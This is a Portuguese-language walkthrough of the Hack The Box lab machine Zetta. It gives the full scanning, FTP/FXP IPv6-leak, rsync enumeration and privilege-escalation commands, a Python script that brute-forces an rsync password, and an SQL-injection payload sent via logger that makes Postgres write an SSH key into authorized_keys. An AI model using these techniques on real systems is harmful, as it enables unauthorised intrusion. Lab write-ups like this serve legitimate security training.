Hack The Box - Passo a passo de Zetta FXP, IPv6, rsync, Postgres e SQLi

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, aprendemos o endereço do servidor IPv6 usando FXP, trabalhamos com rsync e também escrevemos a chave ssh usando injeção SQL ao processar logs no Postgres.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.156, que eu adiciono ao / etc / hosts.

10.10.10.156    zetta.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

imagem

Em seguida, você precisa coletar mais informações sobre portas conhecidas. Para fazer isso, use o nmap com a opção -A.

nmap -A zetta.htb -p21,22,80

imagem

Veja o que está no ftp.

imagem

Como resultado, o banner diz que podemos nos conectar via IPv6. Vamos ver o que está no servidor da web.

imagem

Observamos o FTP nativo com suporte para FXP. FXP é uma maneira de transferir arquivos entre dois servidores FTP diretamente, sem baixá-los para o seu computador. Durante uma sessão FXP, o cliente abre duas conexões FTP para dois servidores diferentes, solicitando um arquivo no primeiro servidor, indicando o endereço IP do segundo servidor no comando PORT.

imagem

Rolando um pouco, encontramos o nome de usuário e a senha do FTP. E depois de inserir as credenciais, somos informados de que há suporte para FXP.

imagem

Mas ou não há arquivos no servidor ou eles não nos são fornecidos. Mas como esse servidor suporta FXP, podemos fingir ser outro servidor, o servidor de destino iniciou uma conexão. Assim, revelaremos seu endereço IPv6 de acordo com a RFC 2428.

imagem

imagem

Isso é necessário para uma varredura adicional, pois o host pode ter serviços que aceitam apenas conexão IPv6. Então, precisamos saber o nosso endereço.

imagem

Usando tcpdump, rastrearemos o tráfego que vai para a porta 4321.

imagem

E usando o netcat nos conectamos ao ftp e especificamos as credenciais.

nc zetta.htb 21

imagem

E agora enviamos a solicitação EPRT.

imagem

E observamos o endereço IPv6 do host de destino.

imagem

Agora grave-o no / etc / hosts em vez do IPv4 e verifique todas as portas usando o nmap, adicionando a opção -6.

nmap -6 zetta.htb -p-

imagem

Agora, obtemos mais informações usando a opção -A.

nmap -A -6 zetta.htb -p21,22,80,8730

imagem

Ponto de entrada


Rsync (sincronização remota) é um programa para sistemas do tipo UNIX que sincroniza arquivos e diretórios em dois locais, minimizando o tráfego. O Rsync pode copiar ou exibir o conteúdo de um diretório e copiar arquivos, opcionalmente usando compactação e recursão. O rsync transfere apenas alterações de arquivo, o que afeta o desempenho do programa. Vamos ver a lista de módulos.

rsync -6 --list-only rsync://zetta.htb:8730/

imagem

Alguns diretórios importantes estão ausentes nesta lista. Mas o diretório etc estava disponível.

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

imagem

Lemos rsyncd.conf, para este arquivo na máquina local.

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

imagem

Há um módulo oculto no config - home_roy, que aponta para o diretório inicial do usuário roy, e é protegido por senha contra rsyncd.secrets, mas não está disponível para nós.

rsync -6 rsync://zetta.htb:8730/home_roy/

imagem

DO UTILIZADOR


Quando não havia mais idéias, tive que resolver a senha. Para isso, o código Python foi escrito e uma lista de senhas dos Seclists foi usada.

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

imagem

Agora que sabemos a senha, vamos gerar a chave ssh e carregá-la no servidor.

imagem

imagem

imagem

E conectando-se via SSH com essa chave, pegamos o token do usuário.

imagem

RAIZ


Ao lado do token, há uma dica - uma lista de tarefas.

imagem

Vamos abri-los.

todo .tudu.xml

imagem

Vamos ver todas as tarefas planejadas. O servidor usa git.

imagem

Nesse caso, os logs de eventos são salvos no banco de dados.

imagem

E também planeja alterar a senha, que no momento parece um certo tipo.

imagem

A primeira coisa que fazemos é ir para o git, porque podemos ver o histórico de mudanças na configuração. Encontre todos os diretórios .git no servidor.

imagem

Como estamos mais interessados ​​no diário rsyslog, copio todo o repositório na máquina local.

imagem

Agora vamos ao diretório com o repositório carregado e usamos o gitk (a interface gráfica é um pouco, mas conveniente).

imagem

Vemos as credenciais, mas se as usamos, falhamos. Também no repositório, você pode ver o modelo de acordo com o qual os logs são colocados no banco de dados. Os logs são salvos no log /var/log/postgresql/postgresql-11-main.log, acessível ao grupo adm do qual somos membros.

imagem

Como estamos lidando com um banco de dados, você pode tentar a injeção. Criaremos eventos para gravação usando o logger, rastreando simultaneamente em tempo real o que entra no log (por conveniência, você pode usar o qterminal com uma janela dividida) usando o watch.

watch -n 1 cat postgresql-11-main.log

E envie o evento.

logger -p local7.info "'"

imagem

E ocorre um erro que indica uma possível injeção. Observando / etc / passwd, descobrimos que o usuário do serviço postgres possui o / bin / bash shell.

imagem

Assim, podemos entrar via ssh. Isso nos dará acesso ao arquivo postgres, incluindo o histórico de comandos. Vamos verificar se podemos escrever um arquivo usando injeção.

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

imagem

Bem. Geraremos a chave ssh e gravamos a chave pública no servidor no diretório inicial do serviço de usuário do postgres: /var/lib/postgresql/.ssh/authorized_keys.

imagem

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

Agora vamos ao ssh.

ssh -i psg_id_rsa postgres@zetta.htb

imagem

Nós olhamos para a história do postgres.

imagem

E encontramos a senha. Lembramos a regra de senha da lista de tarefas, substituímos o usuário por root e efetuamos login.

imagem

Estamos com plenos direitos!

Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar uns aos outros em qualquer problema de segurança da TI e da informação.

All Articles